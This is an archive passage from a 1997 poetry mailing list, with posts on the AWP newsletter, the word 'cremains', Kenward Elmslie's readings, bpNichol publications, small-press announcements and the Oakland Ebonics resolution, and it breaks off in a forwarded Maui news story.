2) do you get hazardous duty pay for reading the AWP newsletter?

DZ

> *from Sharon Dolin's page one article in the December AWP, "Arguing Poetry: How Contemporary Poets Write About Poetry":*
>
> *"After the more polarized stridencies of the eighties had fizzled, a space might have been cleared for a more open appraisal of all of poetry's possibilities. What astounds me as a third-generation free verse poet and critic are the number of prose works by poets that are attempts to celebrate, defend, or delegitimize free verse. Essays swing between formalist attacks on free verse's authenticity as poetry, coupled with a blatant desire to resurrect metrical verse as the one true poetry, and the often fuzzy, impressionistic elaborations of a free-verse aesthetic. And now, Language poets have entered the fray to launch their attack on free verse, with formal verse being too far beyond the pale for them even to mention. The question that keeps arising for me as I read the formalist*

> *attacks as well as the free verse descriptions: Isn't it time for poets to cease labeling free verse as merely poetry with a conspicuous absence of meter or metrical consistency? No one would think of defining metrical or rhythmical verse as "unfree verse," yet there is a growing tendency in a recent spate of books by poet-critics to reframe the formal issues surrounding free verse poetry in terms of metered verse. On the other hand, isn't it also time for there to be a clearly elaborated poetics of free verse?"*

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288. **Gwyn McVay**
Re: AWP Chronicle
Mon 13 Jan 1997

> *2) do you get hazardous duty pay for reading the AWP newsletter?*

It gets worse, DZ. I *typeset* the motherfucker and *I* sure don't get hazardous duty pay. We just got this exquisitely stupid article from a gent who divides American poets into three categories: Expansive (which I think is a typo for "expensive," free-verse confessional, and "Beat."

(muttering) The horror! The horror!

Missis McVay, she dead.

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289. **Charles Alexander**
Re: AWP Chronicle
Mon 13 Jan 1997

> *Missis McVay, she dead.*

rest in peace, dear mcvay

i had no idea of your sacrifices

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290. **Ken Edwards**
New from RSE
Mon 13 Jan 1997

"However, I have noticed all together TOO FEW listings of recent publications by list participants. "

sez Charles B. So here's one:

RSE 4PACKS No 1:
SLEIGHT OF FOOT

Miles Champion
Helen Kidd
Harriet Tarlo
Scott Thurston

A collection of lengthy selections (up to 18pp each) from four poets who had not at the time of commissioning had a substantial book of their own published, and who are working in the innovative and modernist traditions of other authors on the RSE list. RSE hopes this will be the first in a series of similar mini-anthologies showcasing younger and/or less well exposed poets.

Funding from London Arts Board/Eastern Arts Board gratefully acknowledged.

1-874400-10-5 5.00 pounds
200 x 120mm paperback 80pp

Those of you who were at the University of New Hampshire shindig last year will remember Miles Champion, the man who reads five times as fast as Tom Raworth. Harriet Tarlo was also there giving a paper, although she didn't read. They are two of the brightest sparks on the UK poetry scene and are likely to be of interest to many subscribers to this list. Scott Thurston (a young British poet currently working in Poland) and Helen Kidd are also eminently worthy of being checked out.

The 4Packs series is a new venture by Reality Street Editions. This first volume, published in November in the UK, should be reaching Small Press Distribution ([redacted]) any day now and should retail at around $8 or $9. If anyone running a mag would like a review copy please email me.

Ken Edwards

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291. Mark Weiss
neologism?
Mon 13 Jan 1997

Poet I'm typesetting says the word "cremains"=what's left after cremation is a certified, official word. I say she made it up. Anybody run across it before?

Mark, weary of eyeball

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292. **Ron Silliman**
Cremains
Mon 13 Jan 1997

>
>Poet I'm typesetting says the word "cremains"=what's left after cremation is
>a certified, official word. I say she made it up. Anybody run across it before?
>
>Mark, weary of eyeball

Mark,

I've heard it before. I think, tho, that it's the professional jargon of morticians, which is a curious dialect.

Ron Silliman

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293. **Aldon L. Nielsen**
Re: ebonics and Josh White
Mon 13 Jan 1997

Village Voice for 1/14/97 has quite good short piece by Angela Ards bringing some welcome perspective to Ebonics debates (along with some less enlightening sidebars -- though I did enjoy the one where the _Voice_ asks NY school kids what they think of all this) [[have also been told that _Washington Post_ for 1/12 has piece on this subject by Robert Hass -- haven't eyeballed this one myself yet -- but it should be up on the _Post_ website now]]

AND same issue of _Voice_ has a good piece on the career of Josh White -- I had the very good fortune to meet White a few times around DC, where he spent many of his latter years -- He continued to be a compeeling performer, and he was always willing to share memories of the old NY cabaret scene with a young pest --

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294. **mgk3k**
URL for MLA talk: The Poetics of Artificial Intelligence
Mon 13 Jan 1997

---

http://www.engl.virginia.edu/~mgk3k/papers/poetics_ai.html

"The Poetics of Artificial Intelligence." On contemporary graphic design and work by Elliott Peter Earls, Johanna Drucker, Darick Chamberlain, Charles Bernstein.

--Matt
==========
========== Matthew G. Kirschenbaum University of Virginia [redacted] Department of English
http://faraday.clas.virginia.edu/~mgk3k/ Electronic Text Center

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295. **Stephen Cope**
address query
Mon 13 Jan 1997

Could someone backchannel Rachel Blau DuPlessis's e-mail address -- or Rachel, if you're there, could you backchannel?

Thanks,

Stephen Cope
[redacted]

↑ Index

296. **James Brook**
oakland ebonics resolution & correx
Tue 14 Jan 1997

My thanks to Stephen Vincent for bringing discussion of Ebonics to this group. Some have asked to see the language of the Oakland School Resolution, so I went digging in the electronic files of the San Francisco Chronicle. (You can search for other local articles in the SF Chronicle and Examiner at this address: http://www.sfgate.com/ .)

What follows is the text of the original Oakland School Board resolution on Ebonics. Bringing up the rear is an article on the revised resolution from the San Francisco Chronicle.

Easy to see that the school board is afflicted by educationese, a jargon that should not be taught to anyone.

But by far the most interesting news has to do with the weeks of racist response on the part of whites, both liberals and conservatives (at last, an issue that unites them!), and the squirming-with-discomfort of middle-class African Americans who aren't too sure they want to hear about differences in dialetic going back to Africa.

OK, the texts:

EBONICS RESOLUTION

The Oakland School Board says its resolution on ebonics has been widely
misunderstood, especially on whether it calls for teaching classes in ebonics. Critics said
the school board members are muddying the debate by not standing behind the resolution
they passed.

Here is the text of the resolution passed on December 18:

WHEREAS, numerous validated scholarly studies demonstrate that African-American
students as a part of their culture and history as African people possess and utilize a
language described in various scholarly approaches as ``Ebonics'' (literally ``Black
sounds'') or ``Pan-African Communication Behavior'' or ``African Language Systems'';
and

WHEREAS, these studies have also demonstrated that African Language Systems are
genetically based and not a dialect of English; and

WHEREAS, these studies demonstrate that such West and Niger-Congo African
languages have been officially recognized and addressed in the mainstream public
educational community as worth of study, understanding or application of its principles,
laws and structures for the benefit of African-American students both in terms of positive
appreciation of the language and these students' acquisition and mastery of English
language skills; and

WHEREAS, such recognition by scholars has given rise over the past fifteen years to
legislation passed by the State of California recognizing the unique language stature of
descendants of slaves, with such legislation being

prejudicially and unconstitutionally
vetoed repeatedly by various California state governors; and

WHEREAS, judicial cases in states other than California have recognized the unique
language stature of African-American pupils, and such recognition by courts has resulted
in court-man dated educational programs which have substantially benefited African
American children in the interest of vindicating their equal protection of the law rights
under the Fourteenth Amendment to the United States Constitution; and

WHEREAS, the Federal Bilingual Education Act (20 U.S.C. 1402 et seq) mandates that
local educational agencies ``build their capacities to establish, implement and sustain
programs of instruction for children and youth of limited English proficiency; and

WHEREAS, the interests of the Oakland Unified School District in providing equal
opportunities for all of its students dictate limited English proficient educational programs
recognizing the English language acquisition and improvement skills of African-American
students are as fundamental as is application of bilingual education principles for others
whose primary languages are other than English; and

WHEREAS, the standardized tests and grade scores of African-American students in
reading and language arts skills measuring their application of English skills are
substantially below state and national norms and that such deficiencies will be remedied
by application of a program featuring African Language Systems principles in instructing
African- American children both in their primary language and in English; and

WHEREAS, standardized tests and grade scores will be remedied by application of a
program with teachers and aides who are certified in the

methodology of featuring African
Language Systems principles in instructing African- American children both in their
primary language and in English. The certified teachers of these students will be provided
incentives including, but not limited to salary differentials.

NOW, THEREFORE, BE IT

RESOLVED that the Board of Education officially recognizes the existence, and the
cultural and historic bases of West and Niger- Congo African Language Systems, and
each language as the predominantly primary language of African-American students; and

BE IT FURTHER RESOLVED that the Board of Education hereby adopts the report
recommendations and attached Policy Statement of the District's African-American Task
Force on language stature of African- American speech; and

BE IT FURTHER RESOLVED that the Superintendent in conjunction with her staff shall
immediately devise and implement the best possible academic program for imparting
instruction to African-American students in their primary language for the combined
purposes of maintaining the legitimacy and richness of such language whether it is known
as ``Ebonics,'' ``African Language Systems,'' ``Pan-African Communication Behaviors''
or other description, and to facilitate their acquisition and mastery of English language
skills; and

BE IT FURTHER RESOLVED that the Board of Education hereby commits to earmark
District general and special funding as is reasonably necessary and appropriate to enable
the Superintendent and her staff to accomplish the foregoing; and

BE IT FURTHER RESOLVED that the Superintendent and her staff shall utilize the input
of the entire Oakland educational community as well as state

and federal scholarly and
educational input in devising such a program; and

BE IT FURTHER RESOLVED, that periodic reports on the progress of the creation and
implementation of such an educational program shall be made to the Board at least once
per month commencing at the Board meeting of December 18, 1996.

Ebonics Plan Toned Down In Oakland
School board expected to OK revision this week

San Francisco Chronicle - Jan. 13, 1997

Lori Olszewski, Rick DelVecchio, Chronicle East Bay Bureau

The task force behind the ebonics policy that put the Oakland schools at the center of a national cultural war announced yesterday that it will strip the policy of its controversial language -- and the school board, for the first time, appears ready to back the change.

``The debate is over,'' said Sylvester Hodges, a former school board member who now
heads the Task Force on the Education of African American Students, which proposed
the policy. ``We're moving to the next phase. . . . We hope people understand that and
will join us.''

After a tense three weeks in which everyone from Rush Limbaugh to Maya Angelou
weighed in on the policy, the seven-member Oakland School Board has indicated it will
approve the changes at a special meeting Wednesday. The compromise, an effort to quiet
the national brouhaha, comes after at least 10 hours of negotiations in the past two days
and after weeks of meetings among the key players. None of the players characterizes the
move as backing down.

As late as Friday, board member Toni Cook, who carried the original resolution, said in
an interview with The Chronicle that she was opposing changes.

Cook said she reversed her position because the task force -- composed of Oakland

residents and school district employees -- agreed to the changes. Cook and other
supporters of the task force did not want to appear as if they were caving in to national
criticism and big-footing the task force.

CHANGES IN 2 AREAS

The proposed changes in the resolution primarily involve two areas -- the suggestion that
such language is related to genetics and any phrases the public took as meaning the
schools would be teaching in ebonics.

The task force deleted a phrase saying African Language Systems, or ebonics, are
``genetically based'' and not a dialect of English. The new wording: such African systems
``have origins in West and Niger-Congo languages and are not merely dialects of
English.''

The group also recommended striking a clause that has been widely taken to mean that the city's schools would begin teaching ebonics as well as standard English.

If the board adopts the changes as expected, the policy would no longer refer to
instructing children in both languages. It says the purpose of recognizing black students'
language differences is ``to move students from the language patterns (students) bring to
school to English proficiency.''

The task force further suggests the policy is for ``facilitating the acquisition and mastery of
English language skills, while respecting and embracing the legitimacy and richness of the
language patterns, whether they are known as `Ebonics,' `African Language Systems,'
`Pan African Communication Behaviors,' '' or something else.

Another controversial passage of the resolution states that the school board recognizes
African- based systems as the ``predominantly primary language of African American

students.'' The task force now wants to take out the adverb predominantly. The revised
line: African-based systems are ``the primary language of many African-American
students.''

GROWING COMMUNITY PRESSURE

The agreement to compromise comes amid growing community pressure for the changes,
including public statements by school board members Ken Rice and Robert Spencer
urging changes to the language. New board member Jason Hodge also had said privately
he wanted the changes and would be going public with his criticisms today if the board
could not agree this weekend.

The task force and the school board stressed they are still behind the intent of the original
resolution, to train teachers to respect ebonics and to help the students who speak it to
learn standard English. The task force is to present Superintendent Carolyn Getridge with
a financing plan by March 15 on how to expand the ebonics teaching methods now in
place in about 26 schools involving 3,600 students to more schools as soon as this fall.
The effectiveness of the ebonics program will be evaluated by measures such as test
scores and truancy and suspension rates, board members have said.

The task force also has a number of other recommendations on how to improve black
students' performance, such as recruiting more black teachers and counselors, that have
gotten lost in all the hoopla about the ebonics policy.

Before the weekend, task force members had held fast to their original resolution, as the
school board and administrators struggled to convince critics that the policy was vital to
correct the failing performance of its African American students. Oakland is the only

school district in California where black students make up the majority.

A DISMAL RECORD

The average grade-point average of the district's African American secondary students is
a D-plus, or 1.8. Of students who repeat the same grade, almost two-thirds are African
American.

African Americans make up 53 percent of the district's 52,000 students but 71 percent of
all students enrolled in special education.

Despite the dramatic story told by such numbers, in the end it appeared that no amount of
talking around the ebonics resolution could fix the document itself, with its ambiguities and
sloppy phrasing.

``We'll not sacrifice our African American children for the sake of politics,'' Hodges said.
He said he is proud that the task force was the catalyst of a national debate over black
students' chronic underachievement.

``You've been the brunt of unfair and often racist attacks,'' school board President Jean
Quan said of the task force. She said the proposed changes appear to be a ``very fair
attempt'' to clarify the resolution, adding that the board will not retreat until all students in
the district are proficient in standard English.

REVISION TO POLICY

Some of the changes made in the text of the proposed ebonics policy by the Oakland
schools task force:

-- Before: ``Whereas, these studies have also demonstrated that African Language
Systems are genetically based and not a dialect of English.''

-- Changed to: ``Whereas, these studies have also demonstrated that African Language
Systems have origins in West (African) and Niger-Congo

languages and are not merely
dialects of English.''

-- Before: ``Whereas, the standardized tests and grade scores . . . will be remedied by application of a program featuring African Language Systems principles in instructing African-American children both in their primary language and in English.''

-- Changed to: ``Whereas, the standardized tests and grade scores . . . will be remedied by application of a program featuring African Language Systems principles to move students from the language patterns they bring to school to English proficiency.''

-- Before: ``The Superintendent . . . shall immediately devise and implement the best
possible academic program for imparting instruction to African-American students in their
primary language for the combined purposes of maintaining the legitimacy and richness of
such language.''

-- Changed to: ``The Superintendent . . . shall immediately devise and implement the best
possible academic program for the combined purposes of facilitating the acquisition and
mastery of English language skills, while respecting and embracing the legitimacy and
richness of the language patterns.''

↑ Index

297. Peter Quartermain
Arrivederci
Tue 14 Jan 1997

Hail and farewell to all:

Effective midnight Tuesday 14 January I shall be incommunicado by e-mail as we scoot to Italy until May. Snail mail will snailishly work for those who want; otherwise, see you around 15 May or so. I mean, talk to you. I mean, email you, I mean goodbye!

Peter

+ +

Peter Quartermain
128 East 23rd Avenue
Vancouver

B.C.
Canada V5V 1X2
Voice and fax: [redacted]

+ +

↑ Index

298. **steph4848**
Re: cremains
Tue 14 Jan 1997

Mark Weiss asks: "Poet I'm typesetting says the word "cremains"=what's left after cremation is a certified, official word. I say she made it up. Anybody run across it before?"

Dust into dust,
Ashes into ashes:
"cremains" in French is short for
"creative hands" -
of which I suspect in this situation,
 not likely.

Cheers,
Stephen Vincent

↑ Index

299. **sschu30844**
Re: to whoever who recommended power
Tue 14 Jan 1997

I preferred Richard Powers's _Operation Wandering Soul_ to _The Goldbug Variations_, now that we're onto novels. Every bit as erudite, but a little less clever, if that makes any sense. Susan

↑ Index

300. **Franklin Bruno**
Elmslie Reading?
Tue 14 Jan 1997

Could someone (Dodie?) post a little more detail about the recent Elmslie reading? How does he integrate the songs and the poems into one performance? Is the effect smooth or jarring? Does he do mostly recent work, or does it range over his long career? Just digested -The Champ- myself, still

trying to decide whether a cohesive narrative would emerge with closer/more numerous readings.

fjb

↑ Index

301. robert drake
Re: bp & the allness of poetryics sensate
Tue 14 Jan 1997

> *The quintessential Nichol bibliographer is jwcurry, who himself has produced a number of small-sized pamphlets, some of them hand-rubber-stamped, by Nichol & others. Curry's in Toronto, and I don't have his address at hand, but someone here may have it.*

1357 Lansdowne Ave.
Toronto, Ontario
CANADA, M6H 3Z9

john curry's work, as a publisher & writer, is an inspiration, or has been to me. a combination of lotech rubberstamp & xerox, craftsmanship ala fine letter-press, and a keen literary/editorial sense... he's scrupiously documented a number of canadian experimental poets, in addition to barrie, including the late david uu...

lbd

↑ Index

302. Miekal And
Re: On a clear day, you can see a poem
Tue 14 Jan 1997

GRAHAM W. FOUST wrote:

> *My real curiosity, though, is how we go about teaching poetry*

This assumes that poetry can be taught.

Miekal

who has on his flame-proof overcoat & kurdish oxhair hat

--
@#
Dreamtime Village website: http://net22.com/dreamtime
QAZINGULAZA: And/Was/Wakest website:
http://net22.com/qazingulaza
e-mail for DT & And/Was: [redacted]

↑ Index

303. Robert Archambeau
West Coast Line
Tue 14 Jan 1997

Hope this reaches you before you leave for Italy (where I'll be going myself this summer).

Received the British/Irish issue of West Coast Line today -- thanks so much, its quite nicely done. The check, as they say, is in the mail.

Best,

Robert Archambeau

↑ Index

304. Sherry Brennan
Cremains
Tue 14 Jan 1997

No - I've seen it. Check out the Celestis Webpage where they offer to send your "cremains" into space on a missle. I have the video for this company which is a masterpiece of funeral home advertising and space, the final frontier aggrandisement ... also, Tim Leary's ashes, I mean, cremains are going up that way (some of them already went once on the space shuttle, I'm told). Sherry

> *Date: Mon, 13 Jan 1997 15:09:00 -0800*
> *From: Mark Weiss <[redacted]>*
> *Subject: neologism?*
>
> *Poet I'm typesetting says the word "cremains"=what's left after cremation is a certified, official word. I say she made it up. Anybody run across it before?*
>
> *Mark, weary of eyeball*

Sherry Brennan
Development Research
The Pennsylvania State University
[redacted]

↑ Index

305. Michael Boughn
Re: AWP Chronicle
Tue 14 Jan 1997

> *It gets worse, DZ. I *typeset* the motherfucker and *I* sure don't get hazardous duty pay. We just got this exquisitely stupid article from a gent who divides American poets into three categories: Expansive (which I think is a typo for "expensive," free-verse confessional, and "Beat."*
>
> *(muttering) The horror! The horror!*
>
> *Missis McVay, she dead.*

Maybe we should do renga essay from the list with our own categories of contemporary poetry. I've always thought of American poets in terms of poor, medium well-done, and sexually ambivalent, but I do realize those are sort of arbitrary distinctions.

Mike
[redacted]

↑ Index

306. maria damon
Re: Arrivederci
Tue 14 Jan 1997

have a glorious time!--md

In message <[redacted]> UB Poetics
discussion group writes:
> Hail and farewell to all:
>
> Effective midnight Tuesday 14 January I shall be incommunicado by e-mail as
> we scoot to Italy until May. Snail mail will snailishly work for those who
> want; otherwise, see you around 15 May or so. I mean, talk to you. I mean,
> email you, I mean
> goodbye!
>
> Peter
> +
+
> Peter Quartermain
> 128 East 23rd Avenue
> Vancouver

> B.C.
> Canada V5V 1X2
> Voice and fax: [redacted]
>
> + + +

310. Eliza McGrand- CVA Guest
Re: cremains
Tue 14 Jan 1997

---

re "cremains," if it isn't it ought to be. does there seem, to anyone else, to be something a little, well, compulsive about the degree to which english has words for everything. and not just a matter of a word for EVERYTHING, but often, several...?

my sense with french, which is a less word-rich language, is that nuances are conveyed in metaphoric argot...
e

↑ Index

311. Aldon L. Nielsen
Re: Elmslie Reading?
Tue 14 Jan 1997

I;d like to hear about the reading too --

Years ago, when last I saw him, he sang his songs to the accompaniment of a tape played on a boom box -- added yet more humor to the already wild lyrics --

↑ Index

312. Christopher Reiner
Re: Elmslie Reading?
Tue 14 Jan 1997

In L.A., we can find out for ourselves this Friday (1/17/97) (according to the L.A. Times):

VENICE: Kenward Elmslie presents "Postcards on Parade," $7, Beyond Baroque, 681 Venice Blvd., 8:30 p.m. [redacted].

Also, Beyond Baroque's message machine says something about a "performance workshop" the next day. I'm not sure what that entails.

Chris Reiner

↑ Index

313. GRAHAM W. FOUST

On a clear day, you can see a poem

Tue 14 Jan 1997

"Clarity alone can lead to freedom" -Barnett Newman
"Don't look at me, I'm ugly in the morning" - Faith No More

I wouldn't think you're "perverse," Mark, but rather "for verse," which is why I posted to the list rather than asking the guy in the cubicle next to me at work. Clarity can be expensive, although we got it for free on Saturday night when Sherry Brennan read her amazing poems at the Ruthless Grip. Sherry had not done a reading in something like 10 years, but what we got was certainly worth the wait. Stunning lyric essays on the unplummable by way of Youngstown and "the middle of nowhere." Thanks for bringing her down, Mark.

I think we probably agree on the importance of clarity, but like your not necessarily wanting to have a point, I guess I don't want to have a clear idea of what incredible is. Demanding clarity doesn't always mean demanding a prescribed KIND of clarity, so the issue of clarity is not always, ahem, clear to me. But as someone pointed out (I can't remember who and I'm in Word Perfect now, sorry!), this could lead to an old and messy discussion, so I'll leave it at that.

My real curiosity, though, is how we go about teaching poetry (and the phrases which prompted my post, "should be familiar with" and "clearly, incredible" sounded teacherly to me) to people who are not necessarily knowledgeable about even "mainstream"/canonized poetry. When I taught the Celan/Merwin/Oppen/Berryman class, I didn't look at these poets in the context of more "official" poets (although we did read some prose: _The Diary of Anne Frank_, Berryman's "The Imaginary Jew" and Denis Johnson's _The Stars at Noon_), and I found that I didn't have to. The majority of the students came to enjoy, understand, and learn from all four of these poets, and while they challeged some of my assertions/opinions concerning all four, they never really went back to "confusing as all get out" after about the first week. Together, the poets and the students made all kinds of sense all over the place (and a lot of sense that I hadn't made myself yet).

By limiting my class to four poets, they were forced to deal with just those four, and therefore those four poets received a serious semester's worth of attention from thirty readers. But is that a wise way to teach an undergraduate poetry class? I still don't know. Sometimes it seems like I was just plain lucky (classes are very dependent on the class itself, and mine was a very engaged, very open group of students for the most part). It sounds like Mark's class worked just as well by comparing Stein and Frost, although I've seen that lead to "well, you like Stein better, I like Frost better, let's call the whole thing off," which really

prevents any forward progress from being made and is about the most frustrating thing I've ever experienced as a teacher.

Poetry, as Jennifer Moxley says in her preface to _Imagination Verses_, is not for the passive. Nor, I believe, is it for the evasive, which is where clarity comes into play. But seeing as how these fixed versions of what's poetry/sensible/clear and what's not (not to mention rampant passivity) are out there, how can we, as poets and teachers, best deal with them directly?

Does concentrating our attention on a few poets really work? Is it helpful to go from Beowulf to Bei Dao in 4 months? It's confusing as all get out, I think.

Bests,

Graham

↑ Index

314. henry gould
Re: Life Imitating Art
Tue 14 Jan 1997

Is that procedure known as "cremartian"?

- Henry Gould

["nedge" : number of edges. math neolo-abbreviation]

↑ Index

315. dbkk
Re: Elmslie Reading?
Tue 14 Jan 1997

> *In L.A., we can find out for ourselves this Friday (1/17/97) (according to the L.A. Times):*
>
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>
> *Also, Beyond Baroque's message machine says something about a "performance workshop" the next day. I'm not sure what that entails.*

After L.A., Kenward's also reading/performing in Seattle and Santa Cruz.

Dodie

↑ Index

316. Peter Jaeger
bp & the allness of poetryics sensate
Tue 14 Jan 1997

Miekal And wrote:
> Ive been a might out of touch out here in Packerland & am wondering what
> sweet & generous tidbits there might be on the web per bp Nichol
> afterlife. & has Martyrologies come out in something under one cover &
> likewise has his visuals / his soundsongs been compedulated? (caution:
> if we get on the longpoem thread i will never shutup) & terribly present
> I wonder what the 1997 rendition of the 60s mimeo revolution that bp was
> ganglialy in the midst of?

Miekal,

Can't say much about bp on the internet, though Kenny G's ubuweb homepage reproduces a couple of his early poems. But on a related note, about two years ago McClelland and Stewart published *An H in the Heart: a bpNichol Reader*. Ironically, though, Nichol claimed in a mid-80s interview ("Syntax = the Body Structure" in *Line*) that he would never publish with the commercial press M & S. While the editors, George Bowering and Michael Ondaatje, should be commended for trying to bring Nichol's writing to a larger audience, the book tends to decontextualize Nichol's work from the type of challenge that his minimal forms and mimeographed ephemera offered to commercial publishing. Even the book's reproduction of Nichol and Steve McCaffery's collaborative game for generating a contemporary research title seems to come across more like a farce than as a challenge to traditional reading habits, especially when it is taken out of the context of the politicized discourse of a small press like *Open Letter*, where Nichol's and McCaffery's research reports first appeared. It seems to me that *An H in the Heart* gives us a socially normalized Nichol, a kind of "classic rock" version reminescent of those easily digestible old Viking Portable Faukners and Joyces.

Peter Jaeger (green wool shirt, comfy black cotton pants, desert boots with mocassin-thin soles)

↑ Index

317. Tosh
Re: Elmslie Reading?
Tue 14 Jan 1997

>In L.A., we can find out for ourselves this Friday (1/17/97) (according to
>the L.A. Times):
>

>VENICE: Kenward Elmslie presents "Postcards on Parade," $7, Beyond
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>
>Also, Beyond Baroque's message machine says something about a
>"performance workshop" the next day. I'm not sure what that entails.
>
>----------
The workshop takes place on Jan 18. 10am to 5pm It is a workshop by Elmslie, and I believe the cost is $60.

Tosh Berman
TamTam Books

↑ Index

318. Mark Weiss
cremains
Tue 14 Jan 1997

Thanks to the list for the help on "cremains"--it hasn't made it to the OED.

Talk about feeling cut off from the well-springs of language!

Mark Weiss

↑ Index

319. Charles Alexander
Re: bp & the allness of poetryics sensate
Tue 14 Jan 1997

The quintessential Nichol bibliographer is jwcurry, who himself has produced a number of small-sized pamphlets, some of them hand-rubber-stamped, by Nichol & others. Curry's in Toronto, and I don't have his address at hand, but someone here may have it. The situation of McLelland & Stewart publishing Nichol is complicated as well because McLelland & Stewart acquired Coach House Press in some sense, while leaving it a semi-independence, I believe. Or perhaps it's just that they became the distributor for Coach House. Does someone know for sure?

All of the Martyrology has been re-published in recent years, but not in anything approaching one volume -- I don't imagine that would be possible or desirable. Many other books are still in print, including Chax's art facts: a book of contexts, which is a body of diverse works Nichol planned as part of the trilogy including love: a book of remembrances, and zygal, all of which he intentionally gave to different small presses; and later another book which I think of as linked to these was posthumously published: Truth: A Book of Fictions (art facts

was also posthumous, although the manuscript was completed and sent to me by bp just a few weeks before his death -- in fact, it was the desire to publish this book and make it available as widely as possible which transformed chax from strictly a limited edition book arts publisher into a trade literary publisher as well).

Several years before An H in the Heart, As Elected (a selected works) came out from Talonbooks, and I don't know if that is still available or not, but I believe it contains more of Nichol's visual work than does An H in the Heart, and I generally like it as an intro to Nichol, although it is a rather poorly produced book whose pages yellow and fall out before much time has gone by.

The marvelous Translating Translating Apollinaire by Nichol is available at the Light & Dust Poets web site. The Nichol work's URL is
http://www.thing.net/~grist/l&d/bpnichol/lnichol1.htm
Much else of value is also available at this marvelous site put together by Karl Young.

charles

At 02:05 PM 1/14/97 -0500, you wrote:
>Miekal And wrote:
>> Ive been a might out of touch out here in Packerland & am wondering what
>> sweet & generous tidbits there might be on the web per bp Nichol
>> afterlife. & has Martyrologies come out in something under one cover &
>> likewise has his visuals / his soundsongs been compedulated? (caution:
>> if we get on the longpoem thread i will never shutup) & terribly present
>> I wonder what the 1997 rendition of the 60s mimeo revolution that bp was
>> ganglialy in the midst of?
>
>Miekal,
>
>Can't say much about bp on the internet, though Kenny G's ubuweb homepage
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>years ago McClelland and Stewart published *An H in the Heart: a bpNichol
>Reader*. Ironically, though, Nichol claimed in a mid-80s interview
>("Syntax = the Body Structure" in *Line*) that he would never publish with
>the commercial press M & S. While the editors, George Bowering and
>Michael Ondaatje, should be commended for trying to bring Nichol's writing
>to a larger audience, the book tends to decontextualize Nichol's work from
>the type of challenge that his minimal forms and mimeographed ephemera
>offered to commercial publishing. Even the book's reproduction of Nichol
>and Steve McCaffery's collaborative game for generating a contemporary
>research title seems to come across more like a farce than as a challenge

>to traditional reading habits, especially when it is taken out of the
>context of the politicized discourse of a small press like *Open Letter*,
>where Nichol's and McCaffery's research reports first appeared. It seems
>to me that *An H in the Heart* gives us a socially normalized Nichol, a
>kind of "classic rock" version reminescent of those easily digestible old
>Viking Portable Faukners and Joyces.
>
>Peter Jaeger (green wool shirt, comfy black cotton pants, desert boots
>with mocassin-thin soles)
>
>

↑ Index

320. Laura Moriarty
Re: Elmslie Reading?
Tue 14 Jan 1997

Was happy to have been at the Elmslie performance last Friday here in SF. Kenward read first and then performed the song part of the program which became a sort of endless finale - His relationship with the audience was intense, but light - He really had us in the palm of his hand.

There is a continuous tone in his work from the poems to the songs of a kind of dignified speechy camp. The roughness of the presentation - simple headress, other modest props, the large postcards held up by a friend - the music on a boom box, but timed quite precisely - is an effective and savvy restraint.

The music was various - show tunes, torch songs, Country Western, Cajun and his own songs(in these styles) - and Kenward's presence and attention as a performer and his playful, evocative diction as a writer held it together quite well - We gave him a standing ovation and there was an encore - I think the environment of New College and the graciousness of the SPT series - not to mention the great party after at Kevin and Dodie's - lent much glamour to the already heady occasion.

(Btw - we have 3 tapes of Kenward Elmslie at the Poetry Center - 75, 83 and 90 - all available.)

Laura Moriarty
[redacted]

> *Could someone (Dodie?) post a little more detail about the recent Elmslie reading? How does he integrate the songs and the poems into one performance? Is the effect smooth or jarring? Does he do mostly recent work, or does it range over his long career?*
> *Just digested -The Champ- myself, still trying to decide whether a*

> *cohesive narrative would emerge with closer/more numerous readings.*
>
> *fjb*

↑ Index

321. Shaunanne Tangney
Re: cremains
Tue 14 Jan 1997

On Tue, 14 Jan 1997, Mark Weiss wrote:

> *Thanks to the list for the help on "cremains"--it hasn't made it to the OED.*

send it in; that's how dictionaries are "written," you know. when i was an undergrad some 15 yrs ago, i took this great course called "american english" and we used to send stuff in to merriam-webster all the time. in fact, we were the ones who got hackey-sak in!

a side bar to cremains: i watched the wonderful japanese film _the funeral_ last night, and i highly reccomend it.

best,
shaunanne
>
> Talk about feeling cut off from the well-springs of language!
>
> Mark Weiss
>

↑ Index

322. Field of Roses
Re: bp & the allness of poetryics sensate
Tue 14 Jan 1997

> *The quintessential Nichol bibliographer is jwcurry, who himself has produced a number of small-sized pamphlets, some of them hand-rubber-stamped, by Nichol & others. Curry's in Toronto, and I don't have his address at hand, but someone here may have it.*
>
> *1357 Lansdowne Ave.*
> *Toronto, Ontario*
> *CANADA, M6H 3Z9*
>
> *john curry's work, as a publisher & writer, is an inspiration, or has been to me. a combination of lotech rubberstamp & xerox, craftsmanship ala fine letterpress, and a keen literary/editorial sense... he's*

> *scrupiously documented a number of canadian experimental poets, in addition to barrie, including the late david uu...*

john presently resides in Ottawa. His new address:

jwcurry
#2 - 856 Somerset St. W.
Ottawa, Canada
K1R 6R7

Linda Charyk Rosenfeld

↑ Index

323. **wystan**
Forwarded: No Place To Go
Tue 14 Jan 1997

From: "Tony Green" <[redacted]>
Organization: The University of Auckland
To: [redacted]
Date: Tue, 14 Jan 1997 09:40:21 GMT+1200
Subject: No Place To Go
Priority normal

Hi Wystan, Wd you be so kind as to forward the text below to the Poetics List:

Announcing the publication of

NO PLACE TO GO

a poem by Tony Green

—

A book designed and printed by Tara McLeod
at the Pear Tree Press in an edition of 15 copies
numbered and signed by poet and printer.

Hand-printed from metal and wood types in many colours
on pages that fold out alternately vertically and horizontally.

The text is printed on various coloured recycled papers
from Australia -- called "Outback"and mounted on black
"Outback". The cover is a thick grey card and the binding
is a black wire spiral.

Title page, nine text pages, colophon page. 206 x 230 mm
with pages opening to 540 mm.

Price: U.S. $95 including postage and packing.

Orders to: The Pear Tree Press,
124, Richardson Road,
Owairaka, Auckland,
New Zealand.

All the best,

Tony Green,
e-mail: [redacted]

↑ Index

324. Rachel Loden
cremains, cremora
Tue 14 Jan 1997

Borden's "Cremora" Non-Dairy Creamer is the stuff that creeps me out. Right up there with Adolf's Meat Tenderizer in the supermarket twilight zone.

Rachel

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325. Gabrielle Welford
Hawaiians strive for unity on Maui (fwd)
Tue 14 Jan 1997

Though you all might be interested in seeing this. gab. (I'm back, as you see...)

---------- Forwarded message ----------
Date: Mon, 6 Jan 1997 17:20:23 -1000
From: Scott Crawford <[redacted]>

Hawaiians strive for unity

The Maui News
Sunday, January 5, 1997

By VALERIE MONSON

Staff Writer

LAHAINA -- The Native Hawaiian voices of Maui that weren't heard on Oahu last month let loose with a cry of unison Saturday that most certainly will echo around the islands.

